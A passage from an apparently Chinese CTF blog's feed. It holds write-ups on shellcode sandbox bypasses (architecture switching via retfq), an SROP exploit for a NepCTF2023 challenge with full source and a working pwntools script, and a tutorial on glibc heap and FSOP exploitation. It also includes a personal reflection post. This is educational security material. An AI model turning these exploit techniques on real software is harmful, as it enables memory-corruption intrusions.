leak();      attack($cmd);      removeHacker(2);  &#125;    main();  ?&gt;</code></pre>]]></content>
    
    
    <summary type="html">It`s my first time encountering this fancy pwn item, known as Web Pwn, on WACON2023. I have few experience on php coding, so it spent me a long time to figure out how ZendMM actually works.</summary>
    
    
    
    <category term="CS" scheme="http://deepunk.icu/categories/CS/"/>
    
    
    <category term="pwn" scheme="http://deepunk.icu/tags/pwn/"/>
    
    <category term="wp" scheme="http://deepunk.icu/tags/wp/"/>
    
    <category term="php" scheme="http://deepunk.icu/tags/php/"/>
    
  </entry>
  
  <entry>
    <title>Tricks of Shellcode</title>
    <link href="http://deepunk.icu/Tricks-of-Shellcode/"/>
    <id>http://deepunk.icu/Tricks-of-Shellcode/</id>
    <published>2023-08-29T13:56:08.000Z</published>
    <updated>2026-05-27T12:52:23.538Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>最近打了挺多比赛，碰到一些比较有意思的题和方法</p></blockquote><p>shellcode的题挺多，往往都是加了一些乱七八糟的限制。一般要么限制字符，要么开沙箱。限制字符基本上就通过手搓<del>我不会</del>或者alpha3之类的工具实现，这里讲一些绕过沙箱的办法。</p><h1 id="切换架构"><a href="#切换架构" class="headerlink" title="切换架构"></a>切换架构</h1><p>题目不仅禁止getshell，甚至限制了orw，如果沙箱没有对系统架构进行检查，就可以使用切换架构的方式。</p><p>原理是沙箱通过检测系统调用号判断是否放行，而64位和32位架构下的系统调用号又不相同，切换到另一种架构，就能实现绕过黑名单检查</p><p>这种手法听起来很炫酷，操作却相当简单</p><p>程序运行时的架构，是由<code>cs</code>寄存器控制的。<code>cs=0x23</code>为32位模式，<code>cs=0x33</code>为64位模式。而<code>retfq</code>指令就能实现对<code>cs</code>的赋值</p><p><code>retfq</code>包含<code>ret</code>和<code>pop cs</code>两步，也就是先后pop <code>rip</code>和<code>cs</code>，所以一般可以像这样写：</p><pre><code class="assembly">mov rsp, 0x40404040 #arbitrary stackpush 0x23 #or 0x33push 0x401145 #next shellcoderetfq</code></pre><p>注意这里需要设置<code>rsp</code>，这是因为切换到32位时，寄存器也会被切成32位，所以需要预先调整栈顶的指针</p><p>另外我在操作时发现<code>ret</code>后的地址似乎有一定要求。起初我直接跳到下一条shellcode上，但会在retfq时崩溃，后来我<code>ret</code>到代码段里调用shellcode的地址，再提前设置好寄存器，顺利解决了这个问题</p><h1 id="者行孙"><a href="#者行孙" class="headerlink" title="者行孙"></a>者行孙</h1><p><del>你就说是不是一个东西吧</del></p><p>没有open的可以用openat代替</p><p>没有read的可以用pread64&#x2F;writev代替</p><p><a href="https://evian-zhang.github.io/introduction-to-linux-x86_64-syscall/src/filesystem/read-pread64-readv-preadv-preadv2.html">read, pread64, readv, preadv, preadv2系统调用</a></p><p>这么玩就没意思了</p><h1 id="使用socket"><a href="#使用socket" class="headerlink" title="使用socket"></a>使用socket</h1><p>有空看看</p><p><a href="http://blog.eonew.cn/2019-06-03.%E5%8F%8D%E5%90%91shellcode.html">EX大佬的博客</a></p><h1 id="盲注"><a href="#盲注" class="headerlink" title="盲注"></a>盲注</h1><p>挺有趣的做法，找时间再详细研究下</p><p><a href="https://m1ku.in/archives/737">m1ku大佬的博客</a></p>]]></content>
    
    
    <summary type="html">最近打了挺多比赛，碰到一些比较有意思的题和方法</summary>
    
    
    
    <category term="CS" scheme="http://deepunk.icu/categories/CS/"/>
    
    
    <category term="pwn" scheme="http://deepunk.icu/tags/pwn/"/>
    
    <category term="shellcode" scheme="http://deepunk.icu/tags/shellcode/"/>
    
  </entry>
  
  <entry>
    <title>摸</title>
    <link href="http://deepunk.icu/%E6%91%B8/"/>
    <id>http://deepunk.icu/%E6%91%B8/</id>
    <published>2023-08-27T08:30:57.000Z</published>
    <updated>2026-05-27T12:52:23.539Z</updated>
    
    <content type="html"><![CDATA[<p>在电专摸了一年，不知不觉已经成了老油条的形状</p><p>大一整体处于一个比较迷茫的状态。开学时，机缘巧合下碰见了凝聚的招新赛，靠着热情冲了一个月，以pwn手的身份进入，随后就开始<strong>长达一个半学期</strong>的摸鱼期。期间或是卷分数（集电学院的风气懂的都懂），或是搞一些乱七八糟的比赛（也没有什么成绩），更多的时候，记忆缺失，大抵是在摸鱼罢</p><p>后来大一下，去了趟ASC的观摩，认识了一些凝聚的学长和Beetoven，还认识了南昌大学的cs佬。突然觉得，搞这些也挺有意思。此后开始参与更多凝聚的活动（并捡起所剩不多的pwn知识</p><p>接着就是国赛初赛，人生第二次来到工作室，社恐得宛如一个新生。好在初赛有些简单题，挺适合我这种招新赛水平选手康复。最后还是顺利进了复赛</p><p>复赛的时候连堆都不会，纯fw，挺可惜，还是和Casio3组的队。事后痛定思痛，决定以后不摸了</p><p>此时的我怎么也想不到，一个月之后，我会在讲台上给人讲高版本堆利用（</p><p>培训前还有个小插曲，<del>因为军训的某种神必力量</del>，鄙人全身起疹子在医院躺了一周</p><p>暑假期间打了一些比赛，<del>感觉我怎么什么都不会</del>感觉我的二进制之旅才刚刚开始</p><hr><p>摸过来的这一年，成绩不上不下，好在没有掉出保研线。二进制依旧是一个新人的水平，想到马上又要迎接下一届新人，不禁感到汗颜。</p><p>最近和学长们聊天比较多，对自己的未来逐渐也有了一些规划。目前主要精力还是会放在二进制上，并开始涉足密码学</p><p>毕竟是新学期，还是立几个flag吧（什么？哪里有flag？我直接cat）</p><ul><li><input disabled="" type="checkbox"> 养成写博客输出知识的习惯，尝试英文写作</li><li><input disabled="" type="checkbox"> 多参加ctf，丰富经历</li><li><input disabled="" type="checkbox"> 学习内核漏洞利用</li><li><input disabled="" type="checkbox"> 不熬夜，多锻炼</li></ul>]]></content>
    
    
    <summary type="html">摸摸</summary>
    
    
    
    <category term="misc" scheme="http://deepunk.icu/categories/misc/"/>
    
    
    <category term="摸" scheme="http://deepunk.icu/tags/%E6%91%B8/"/>
    
  </entry>
  
  <entry>
    <title>SROP初见杀 NepCTF2023</title>
    <link href="http://deepunk.icu/SROP/"/>
    <id>http://deepunk.icu/SROP/</id>
    <published>2023-08-12T12:45:49.000Z</published>
    <updated>2026-05-27T12:52:23.538Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>这次比赛第一题就是很明显的<strong>SROP</strong>，正好啥也不会，学习了一下</p></blockquote><h1 id="SROP"><a href="#SROP" class="headerlink" title="SROP"></a>SROP</h1><p><strong>SROP</strong>全称为<strong>Sigreturn Oriented Programming</strong>，其攻击核心为通过伪造一个<strong>Signal Frame</strong>（以下简称<strong>sigFrame</strong>）在栈上，同时触发<strong>sigreturn</strong>系统调用，让内核为我们恢复一个sigFrame所描述的进程，如一个shell、一个wrtie系统调用打印栈地址等，同时通过对sigFrame中rsp和rip的修改，连接多个sigFrame，可通过多次触发sigreturn系统调用，依次恢复多个sigFrame，实现不同的功能，构成SROP攻击。一个sigFrame可理解为一个进程被挂起时，用于保存进程的数据结构，当进程恢复时，通过触发sigreturn来恢复sigFrame，从而恢复一个进程。</p><p>以上内容是抄的，说白了就是：进程受到一个signal进入中断，内核会保存上下文（寄存器状态之类的，这个上下文存在<strong>sigFrame</strong>中），随后进入用户态执行处理函数，处理完最后又进入内核态恢复上下文</p><p><img src="/../img/SROP.assets/image-20230812205434238.png" alt="image-20230812205434238"></p><p>而这个保存上下文的sigFrame完全在<strong>用户空间</strong>，并且内核对进程挂起时保存的sigFrame以及恢复时还原的sigFrame<strong>没有做任何关联</strong>，这导致sigFrame可以被伪造</p><p><img src="/../img/SROP.assets/image-20230812205639153.png" alt="image-20230812205639153"></p><p>上图是64位的sigFrame结构。恢复上下文之前，会调用处理函数<strong>Signal Handler</strong>，该函数最后一个指令是<code>ret</code>，此时<code>rsp</code>正好指向sigFrame的栈顶，也就是存有函数<code>rt_sigreturn</code>地址的位置。随后调用<code>rt_sigreturn</code>，通过该函数完成上下文的恢复。</p><p>因此，我们可以在<code>rsp</code>附近伪造sigFrame，通过调用<code>rt_sigreturn</code>完成寄存器的布置</p><p>调用可以直接写内存，更常见的是进行调用号为0xf的系统调用</p><blockquote><p>小技巧：系统调用号可以通过<code>cat /usr/include/asm/unistd_64.h</code>查看</p></blockquote><p>另外，pwntools中的<code>SigreturnFrame()</code>可以方便完成寄存器的布置</p><h1 id="Nepctf2023-SROP"><a href="#Nepctf2023-SROP" class="headerlink" title="Nepctf2023-SROP"></a>Nepctf2023-SROP</h1><p>源码都喂我嘴里了</p><pre><code class="c">//gcc -no-pie pwn.c -fno-stack-protector -z now -o pwn  -lseccomp#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;unistd.h&gt;#include &lt;syscall.h&gt;#include &lt;seccomp.h&gt;#include &lt;linux/seccomp.h&gt;char buf[0x30]=&quot;welcome to NepCTF2023!\n&quot;;int seccomp()&#123;    scmp_filter_ctx ctx;    ctx = seccomp_init(SCMP_ACT_KILL);    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigreturn), 0);    seccomp_load(ctx);    return 0;&#125;int sys()&#123;    return 15;&#125;int main()&#123;     char bd[0x30];     seccomp();     syscall(1,1,buf,0x30);     return syscall(0,0,bd,0x300);&#125;</code></pre><p>显然需要打一个orw</p><p>注意这里有一个坑，众所周知，<code>syscall</code>的系统调用号是通过<code>rax</code>传递，然而我们反汇编之后</p><p><img src="/../img/SROP.assets/image-20230812211245122.png" alt="image-20230812211245122"></p><p>令人意外的是，这里的<code>syscall</code>都是通过<code>rdi</code>传调用号的，猜测与这里使用<code>call syscall</code>而非直接使用<code>syscall</code>有关</p><p>既然不用<code>rax</code>传调用号，那题目中的<code>sys()</code>函数也就没有意义了，好在能找到<code>pop rdi</code>的gadgets，可以任意布置</p><p>我的思路是，先打一次srop，把flag写到bss段，顺便把栈迁移过去，随后挨着打orw</p><p><strong>伪造sigFreame</strong>时需要<strong>格外注意</strong></p><p><code>cs</code> <code>gs</code> <code>fs</code> <code>ss</code>需要<strong>保持不变</strong>！否则会报错！</p><p>本人就在这里排查了很久</p><p>可以按照如下写法</p><p><code>sig.csgsfs = (0x002b * 0x1000000000000) | (0x0000 * 0x100000000) | (0x0000 * 0x10000) | (0x0033 * 0x1)</code></p><p>从左往右依次为<code>cs</code> <code>gs</code> <code>fs</code> <code>ss</code></p><p>exp如下</p><pre><code class="python">#!/usr/bin/env python2# -*- coding: utf-8 -*-from pwn import*context(os = &#39;linux&#39;, arch = &#39;amd64&#39;, log_level = &#39;debug&#39;, terminal = [&#39;tmux&#39;, &#39;new-window&#39;])def debug(cmd=&#39;&#39;):    cmd += &quot;b *0x0000000004007AE\n&quot;    gdb.attach(p, cmd)    pause()host = &quot;nepctf.1cepeak.cn&quot;port = 30551#p = process(&quot;./pwn&quot;)p = remote(host, port)sig = 0x0000000000400750pop_rdi = 0x0000000000400813syscall = 0x00000000004007A8buf = 0x0000000000601020p.recv()payload = &quot;\x00&quot;*0x38 +p64(pop_rdi)+p64(0xf)sig = SigreturnFrame()sig.uc_flags = syscallsig.rax = 0sig.rdi = 0sig.rsi = 0sig.rdx = bufsig.rcx = 0x1000sig.rip = syscallsig.rsp = buf+0x10sig.csgsfs = (0x002b * 0x1000000000000) | (0x0000 * 0x100000000) | (0x0000 * 0x10000) | (0x0033 * 0x1)payload += str(sig)p.send(payload)# debug()payload = &quot;flag\x00\x00\x00\x00&quot;payload += p64(pop_rdi) + p64(0xf)sig = SigreturnFrame()sig.uc_flags = syscallsig.rax = 0sig.rdi = 2sig.rsi = bufsig.rdx = 0sig.rcx = 0sig.rip = syscallsig.rsp = buf+0x120sig.rbp = buf+0x120sig.csgsfs = (0x002b * 0x1000000000000) | (0x0000 * 0x100000000) | (0x0000 * 0x10000) | (0x0033 * 0x1)payload += str(sig)payload = payload.ljust(0x120,&quot;\x00&quot;)payload += p64(buf+0x120)#rbppayload += p64(pop_rdi) + p64(0xf)sig = SigreturnFrame()sig.uc_flags = syscallsig.rax = 0sig.rdi = 0sig.rsi = 3sig.rdx = bufsig.rcx = 0x100sig.rip = syscallsig.rsp = buf+0x240sig.rbp = buf+0x240sig.csgsfs = (0x002b * 0x1000000000000) | (0x0000 * 0x100000000) | (0x0000 * 0x10000) | (0x0033 * 0x1)payload += str(sig)payload = payload.ljust(0x240,&quot;\x00&quot;)payload += p64(buf+0x240)#rbppayload += p64(pop_rdi) + p64(0xf)sig = SigreturnFrame()sig.uc_flags = syscallsig.rax = 0sig.rdi = 1sig.rsi = 1sig.rdx = bufsig.rcx = 0x100sig.rip = syscallsig.rsp = buf+0x240sig.rbp = buf+0x240sig.csgsfs = (0x002b * 0x1000000000000) | (0x0000 * 0x100000000) | (0x0000 * 0x10000) | (0x0033 * 0x1)payload += str(sig)p.send(payload)p.interactive()</code></pre>]]></content>
    
    
    <summary type="html">这次比赛第一题就是很明显的 SROP，正好啥也不会，学习了一下</summary>
    
    
    
    <category term="CS" scheme="http://deepunk.icu/categories/CS/"/>
    
    
    <category term="pwn" scheme="http://deepunk.icu/tags/pwn/"/>
    
    <category term="wp" scheme="http://deepunk.icu/tags/wp/"/>
    
    <category term="srop" scheme="http://deepunk.icu/tags/srop/"/>
    
  </entry>
  
  <entry>
    <title>IOFILE exploit</title>
    <link href="http://deepunk.icu/IOFILE-exploit/"/>
    <id>http://deepunk.icu/IOFILE-exploit/</id>
    <published>2023-08-11T08:02:03.000Z</published>
    <updated>2026-05-27T12:52:23.537Z</updated>
    
    <content type="html"><![CDATA[<h1 id="序"><a href="#序" class="headerlink" title="序"></a>序</h1><p>前段时间给人讲课，碰上了高版本glibc堆利用这部分。刚好自己啥也不会，于是花了些时间好好学了下IOFILE在高版本下的利用。好在最后没有翻车，自己在备课期间也独立完成了一些经典例题，算是有了一些粗浅的收获。现以一个初学者的目光重新梳理学习IOFILE利用的整个过程。</p><h1 id="辅助手法"><a href="#辅助手法" class="headerlink" title="辅助手法"></a>辅助手法</h1><p>IOFILE的利用，通常需要伪造IOFILE结构体，随后通过一些方式触发IO流，使得程序调用我们劫持后的IO函数，从而达成getshell或者orw。所以IOFILE exploit实际上是整个利用环节的<strong>最后一步</strong>，要达成伪造IOFILE结构体、触发IO链，往往需要借助一些<strong>辅助手法</strong>。</p><p>在高版本下，最为常用的是<strong>largebin attack</strong>，该手法需要一个UAF，达成后能在任意目标地址写上堆地址，简单暴力，用过都说好。另一种是<strong>tcache stashing unlink</strong>，该手法在house of pig中被使用，要求程序使用calloc，并存在UAF，通常结合largebin attack达成将目标地址分配为chunk。</p><h2 id="largebin-attack"><a href="#largebin-attack" class="headerlink" title="largebin attack"></a>largebin attack</h2><blockquote><p>原先存在两条利用链，其中一条在高版本下已被封禁，查找资料时需甄别。</p></blockquote><p>首先我们需要了解largebin的结构：</p><p><img src="/../img/IOFILE-exploit.assets/image-20230811162248700.png" alt="image-20230811162248700"></p><p>一个large bin中包含<strong>一定范围大小</strong>的large chunk，如第一个largebin大小范围为(0x400-0x430)，第二个为(0x440-0x470)。同一个bin中，相同大小的chunk之间用<code>fd</code>、<code>bk</code>相连，不同大小用<code>fd_nextsize</code>、<code>bk_nextsize</code>相连，且自动由大到小排序，如上图中左边的大于右边。</p><p>当有新的chunk加入largebin，且大小小于该bin中已有的chunk时，会进行如下操作（精简版）：</p><pre><code class="c">victim_index = largebin_index (size);/*查找该size属于的bin范围，返回index*/bck = bin_at (av, victim_index);/*取得bin*/fwd = bck-&gt;fd;if ((unsigned long) (size)&lt; (unsigned long) chunksize_nomask (bck-&gt;bk))&#123;    fwd = bck;    bck = bck-&gt;bk;    victim-&gt;fd_nextsize = fwd-&gt;fd;    victim-&gt;bk_nextsize = fwd-&gt;fd-&gt;bk_nextsize;//critical1!!!    fwd-&gt;fd-&gt;bk_nextsize = victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;//critical2!!!&#125;</code></pre><p>该操作实际上完成了一个简单的将chunk加入双向链表的过程，可以逐步手动模拟加深理解</p><p>该操作缺失对双向链表完整性的检查，可以加以利用</p><p>我们假设largebin中仅存在chunk0，现在准备将chunk1加入largebin，且chunk0 &gt; chunk1。我们把chunk0的<code>bk_nextsize</code>修改为<code>[target-0x20]</code>(即<code>target</code>目标地址位于以<code>[target-0x20]</code>开头的chunk的<code>fd_nextsize</code>处)</p><p>修改完成后，我们将chunk1入链，重点关注上述代码片段中注释的部分。critical1处 <code>victim-&gt;bk_nextsize = (&amp;target)-4)</code>，critical2处 <code>(&amp;target)-4)-&gt;fd_nextsize = victim</code>，即<code>*target = victim</code>。目标达成</p><p>由此可见，largebin attack的利用相当简单，只需一个UAF即可完成</p><h2 id="tcache-stashing-unlink-attack"><a href="#tcache-stashing-unlink-attack" class="headerlink" title="tcache stashing unlink attack"></a>tcache stashing unlink attack</h2><p>glibc加入tcache后，当从smallbin中取出chunk时，如果smallbin中仍有chunk且对应tcache未填满，则会将smallbin中剩余chunk全部依次放入对应tcache中。而在该过程中，只对从smallbin中取出的chunk进行了完整性检查，后续chunk均没有。该手法则利用了这一漏洞。</p><p>以下为将smallbin中chunk放入tcache的代码片段：</p><pre><code class="c">bck = victim-&gt;bk;if (__glibc_unlikely (bck-&gt;fd != victim))        malloc_printerr (&quot;malloc(): smallbin double linked list corrupted&quot;);//只对第一个chunk进行了完整性检查，后面进入循环，无检查...// 获取 small bin 中倒数第二个 chunk 。bck = tc_victim-&gt;bk;...bin-&gt;bk = bck;bck-&gt;fd = bin;//将其放入到Tcache中tcache_put (tc_victim, tc_idx);</code></pre><p>假设smallbin中只存在两个chunk，先入的为chunk0，后入的为chunk1，根据smallbin的<strong>FIFO</strong>原则，取出时先取出chunk0</p><p><img src="/../img/IOFILE-exploit.assets/image-20230811170105495.png" alt="image-20230811170105495"></p><p>同时令对应大小的tcache中已填入5个chunk</p><p>此时将chunk1的<code>bk</code>位修改为目标地址<code>target</code>（不破坏<code>fd</code>），并利用其他手法使得<code>[target+0x8]</code>处为一个指向<strong>可写内存</strong>的指针。把<code>target</code>看作一个chunk的用户指针，则<code>[target+0x8]</code>为<code>bk</code>位。此处令其可写是因为进行该攻击时会向该指针指向的地址处写一个值，如果不可写的话程序会报错。用largebin attack将此处覆盖为可写的堆地址是一种常见操作</p><p>此时，我们用<code>calloc</code>函数将chunk0申请出来。<code>calloc</code>具有跳过tcache申请chunk的性质，所以此处只能用<code>calloc</code>。之后chunk1会加入tcache，chunk1的bk指向的<code>target</code>也会加入tcache。如果我们使用<code>malloc</code>，根据tcache <strong>LIFO</strong>的性质，就能将<code>target</code>申请出来。</p><h1 id="IOFILE及相关结构"><a href="#IOFILE及相关结构" class="headerlink" title="IOFILE及相关结构"></a>IOFILE及相关结构</h1><h2 id="IO-FILE-PLUS"><a href="#IO-FILE-PLUS" class="headerlink" title="_IO_FILE_PLUS"></a>_IO_FILE_PLUS</h2><p>程序在进行<strong>IO操作</strong>时，会用到IOFILE相关的结构。例如众所周知的<code>stdin</code>、<code>stdout</code>、<code>stderr</code>，都是指向IO结构体的指针。当打开一个文件时，程序需要记录文件的输入输出缓冲区等内容，于是需要一个<code>_IO_FILE</code>结构体进行记录。除此之外，对文件进行的各种操作形成了一张张函数虚表，文件需要一个指针记录对应的函数虚表，该指针被定义为<code>_IO_jump_t</code>类型。<code>_IO_FILE</code> 结构体和虚表指针<code>_IO_jump_t</code>形成了一个称为<code>_IO_FILE_plus</code>的结构体，它的定义是这样的：</p><pre><code class="c">struct _IO_FILE_plus&#123;  _IO_FILE file;  const struct _IO_jump_t *vtable;&#125;;</code></pre><p>常见的<code>_IO_FILE_plus</code>结构体有<code>_IO_2_1_stderr</code>、<code>_IO_2_1_stdout</code>、<code>_IO_2_1_stdin</code>，前面提到的<code>stdin</code>等就是指向这些对应<code>_IO_FILE_plus</code>结构体的指针</p><p><img src="/../img/IOFILE-exploit.assets/image-20230811172846782.png" alt="image-20230811172846782"></p><p>可以通过gdb的<code>p</code>指令查看</p><p><img src="/../img/IOFILE-exploit.assets/image-20230811173045845.png" alt="image-20230811173045845"></p><p>此外，存在一个指向<code>_IO_FILE_plus</code>结构体的<code>_IO_list_all</code>指针，通常情况下指向<code>_IO_2_1_stderr</code></p><p><img src="/../img/IOFILE-exploit.assets/image-20230811173332086.png" alt="image-20230811173332086"></p><p>每个<code>_IO_FILE</code>结构体中都存在一个<code>_chain</code>指针，指向下一个<code>_IO_FILE_plus</code>结构体。通常情况，表示如下：</p><p><img src="/../img/IOFILE-exploit.assets/image-20230811173606405.png" alt="image-20230811173606405"></p><p>当有新文件被打开时，对应的<code>_IO_FILE_plus</code>结构体就会被插入到<strong>链首</strong>。</p><h2 id="IO-FILE"><a href="#IO-FILE" class="headerlink" title="_IO_FILE"></a>_IO_FILE</h2><p>以下是<code>_IO_FILE</code>结构体的源码，看起来可能有些头大，重点需要了解的是几个<strong>缓冲区的指针</strong>、<code>_chain</code></p><pre><code class="c">/* The tag name of this struct is _IO_FILE to preserve historic   C++ mangled names for functions taking FILE* arguments.   That name should not be used in new code.  */struct _IO_FILE&#123;  int _flags;/* High-order word is _IO_MAGIC; rest is flags. */  /* The following pointers correspond to the C++ streambuf protocol. */  char *_IO_read_ptr;/* Current read pointer */  char *_IO_read_end;/* End of get area. */  char *_IO_read_base;/* Start of putback+get area. */  char *_IO_write_base;/* Start of put area. */  char *_IO_write_ptr;/* Current put pointer. */  char *_IO_write_end;/* End of put area. */  char *_IO_buf_base;/* Start of reserve area. */  char *_IO_buf_end;/* End of reserve area. */  /* The following fields are used to support backing up and undo. */  char *_IO_save_base; /* Pointer to start of non-current get area. */  char *_IO_backup_base;  /* Pointer to first valid character of backup area */  char *_IO_save_end; /* Pointer to end of non-current get area. */  struct _IO_marker *_markers;  struct _IO_FILE *_chain;  int _fileno;  int _flags2;  __off_t _old_offset; /* This used to be _offset but it&#39;s too small.  */  /* 1+column number of pbase(); 0 is unknown. */  unsigned short _cur_column;  signed char _vtable_offset;  char _shortbuf[1];  _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE&#125;;struct _IO_FILE_complete&#123;  struct _IO_FILE _file;#endif  __off64_t _offset;  /* Wide character stream stuff.  */  struct _IO_codecvt *_codecvt;  struct _IO_wide_data *_wide_data;  struct _IO_FILE *_freeres_list;  void *_freeres_buf;  size_t __pad5;  int _mode;  /* Make sure we don&#39;t get into trouble again.  */  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];&#125;;</code></pre><p><code>_IO_FILE_complete</code>可以理解为<code>_IO_FILE</code>的豪华加长版，其中的<code>_wide_data</code>需要关注一下，有些手法会用到。</p><h2 id="IO-jump-t"><a href="#IO-jump-t" class="headerlink" title="_IO_jump_t"></a>_IO_jump_t</h2><p><code>vtable</code>是一个指向<code>_IO_jump_t</code>结构体的指针。当打开一个文件时，相应的 <code>_IO_FILE</code> 结构体会被创建，并将其<code> vtable</code> 字段指向对应文件类型的 <code>_IO_jump_t</code> 结构体的地址。这样，当需要执行文件操作时，可以通过 <code>_IO_FILE</code> 结构体中的 <code>vtable</code> 字段获取到相应的 <code>_IO_jump_t</code> 结构体，并通过其中的函数指针调用相应的文件操作函数。</p><p>通常，一个<code>_IO_jump_t</code> 结构体包含以下函数指针</p><pre><code class="c">struct _IO_jump_t&#123;    JUMP_FIELD(size_t, __dummy);    JUMP_FIELD(size_t, __dummy2);    JUMP_FIELD(_IO_finish_t, __finish);    JUMP_FIELD(_IO_overflow_t, __overflow);    JUMP_FIELD(_IO_underflow_t, __underflow);    JUMP_FIELD(_IO_underflow_t, __uflow);    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);    /* showmany */    JUMP_FIELD(_IO_xsputn_t, __xsputn);    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);    JUMP_FIELD(_IO_seekoff_t, __seekoff);    JUMP_FIELD(_IO_seekpos_t, __seekpos);    JUMP_FIELD(_IO_setbuf_t, __setbuf);    JUMP_FIELD(_IO_sync_t, __sync);    JUMP_FIELD(_IO_doallocate_t, __doallocate);    JUMP_FIELD(_IO_read_t, __read);    JUMP_FIELD(_IO_write_t, __write);    JUMP_FIELD(_IO_seek_t, __seek);    JUMP_FIELD(_IO_close_t, __close);    JUMP_FIELD(_IO_stat_t, __stat);    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);    JUMP_FIELD(_IO_imbue_t, __imbue);#if 0    get_column;    set_column;#endif&#125;;</code></pre><p>注意，程序中存在很多<code>_IO_jump_t</code>结构体，不同的<code>_IO_FILE_plus</code>可能采用不同的<code>_IO_jump_t</code>，例如stdin&#x2F;stdout&#x2F;stderr使用<code>_IO_file_jumps</code>，可以通过gdb查看</p><p><img src="/../img/IOFILE-exploit.assets/image-20230811182023451.png" alt="image-20230811182023451"></p><h1 id="FSOP基础"><a href="#FSOP基础" class="headerlink" title="FSOP基础"></a>FSOP基础</h1><p><strong>FSOP</strong>(File Stream Oriented Programming是针对<code>_IO_FILE</code>结构体与IO操作的攻击方式</p><p>通常可以分为两个步骤：<strong>劫持</strong>并<strong>伪造</strong>IO结构体、<strong>触发</strong>IO流</p><p>因为触发IO流的方式影响程序进入的IO结构体，所以我们先讲如何触发IO流</p><h2 id="触发IO流"><a href="#触发IO流" class="headerlink" title="触发IO流"></a>触发IO流</h2><p>触发IO流的方式主要分为两种：<strong>FSOP</strong>的经典方式和<strong>house of kiwi</strong>的方式</p><h3 id="FSOP-IO-flush-all-lockp"><a href="#FSOP-IO-flush-all-lockp" class="headerlink" title="FSOP - _IO_flush_all_lockp()"></a>FSOP - _IO_flush_all_lockp()</h3><p>该函数的调用有以下三种触发方式：</p><ol><li><code>libc</code>检测到<strong>内存错误</strong>，从而执行<code>abort</code>函数时（在<code>glibc-2.26</code>删除）</li><li>程序执行<code>exit</code>函数</li><li>程序从main函数返回（同样是执行exit）</li></ol><p>可以看到，高版本下，基本的触发方式都是通过<code>exit</code>函数，其栈回溯为：</p><pre><code class="c">_IO_flush_all_lockp (do_lock=do_lock@entry=0x0)_IO_cleanup ()__run_exit_handlers (status=0x0, listp=&lt;optimized out&gt;, run_list_atexit=run_list_atexit@entry=0x1)__GI_exit (status=&lt;optimized out&gt;)</code></pre><p>就能调用到<code>_IO_flush_all_lockp()</code>函数</p><p>该函数的代码片段如下：</p><pre><code class="c">int _IO_flush_all_lockp (int do_lock)&#123;  int result = 0;  struct _IO_FILE *fp;  int last_stamp;   fp = (_IO_FILE *) _IO_list_all;  while (fp != NULL)    &#123;        ...      if (((fp-&gt;_mode &lt;= 0 &amp;&amp; fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base)#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T       || (_IO_vtable_offset (fp) == 0           &amp;&amp; fp-&gt;_mode &gt; 0 &amp;&amp; (fp-&gt;_wide_data-&gt;_IO_write_ptr                    &gt; fp-&gt;_wide_data-&gt;_IO_write_base))#endif       )      &amp;&amp; _IO_OVERFLOW (fp, EOF) == EOF)    result = EOF;     fp = fp-&gt;_chain; //遍历链表    &#125;    [...]&#125;</code></pre><p>可以看到，在经历一系列条件判断后，程序会调用虚表中的<code>_IO_OVERFLOW</code> 函数，而虚表指针是可以由我们伪造的。所以合理布局，触发该函数，就能进入我们伪造的执行流。</p><p>下面讲如何达成调用<code>_IO_OVERFLOW</code>函数的条件：</p><pre><code class="c">      if (((fp-&gt;_mode &lt;= 0 &amp;&amp; fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base)#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T       || (_IO_vtable_offset (fp) == 0           &amp;&amp; fp-&gt;_mode &gt; 0 &amp;&amp; (fp-&gt;_wide_data-&gt;_IO_write_ptr                    &gt; fp-&gt;_wide_data-&gt;_IO_write_base))#endif       )      &amp;&amp; _IO_OVERFLOW (fp, EOF) == EOF)</code></pre><p>根据短路原则，执行<code>_IO_OVERFLOW</code>需要满足前面的条件为真，这里有一个或语句，故有两种达成条件，满足任一即可：</p><p>1. </p><pre><code class="c">fp-&gt;_mode = 0fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base</code></pre><p>   这是较为常用的达成条件，只需伪造<code>_IO_FILE</code>中的<code>_IO_write_ptr</code>、<code>_IO_write_base</code>和<code>_mode</code>即可达成</p><p>2. </p><pre><code class="c">_IO_vtable_offset (fp) == 0fp-&gt;_mode &gt; 0fp-&gt;_wide_data-&gt;_IO_write_ptr &gt; fp-&gt;_wide_data-&gt;_IO_write_base</code></pre><p>   该条件可以结合<strong>house of cat</strong>使用。其中<code>_IO_vtable_offset (fp) == 0</code> 即 <code>_vtable_offset</code>为0，另外需要关注<code>_wide_data</code>结构体，该手法会在house of cat中讲解</p><p>条件满足后，会从<code>_IO_list_all</code>开始沿着<code>fp -&gt; chain</code>遍历FILE结构体，执行对应虚表中的<code>_IO_OVERFLOW</code>，即<code>&lt;_IO_file_jumps+24&gt;</code></p><h3 id="house-of-kiwi-malloc-assert"><a href="#house-of-kiwi-malloc-assert" class="headerlink" title="house of kiwi - __malloc_assert"></a>house of kiwi - __malloc_assert</h3><p>该手法用于在程序无<code>exit</code>时触发IO，且能控制<code>rdx</code></p><p>以下为<code>__malloc_assert</code>的代码片段</p><pre><code class="c">static void__malloc_assert (const char *assertion, const char *file, unsigned int line,       const char *function)&#123;(void) __fxprintf (NULL, &quot;%s%s%s:%u: %s%sAssertion `%s&#39; failed.\n&quot;,           __progname, __progname[0] ? &quot;: &quot; : &quot;&quot;,           file, line,           function ? function : &quot;&quot;, function ? &quot;: &quot; : &quot;&quot;,           assertion);fflush (stderr);abort 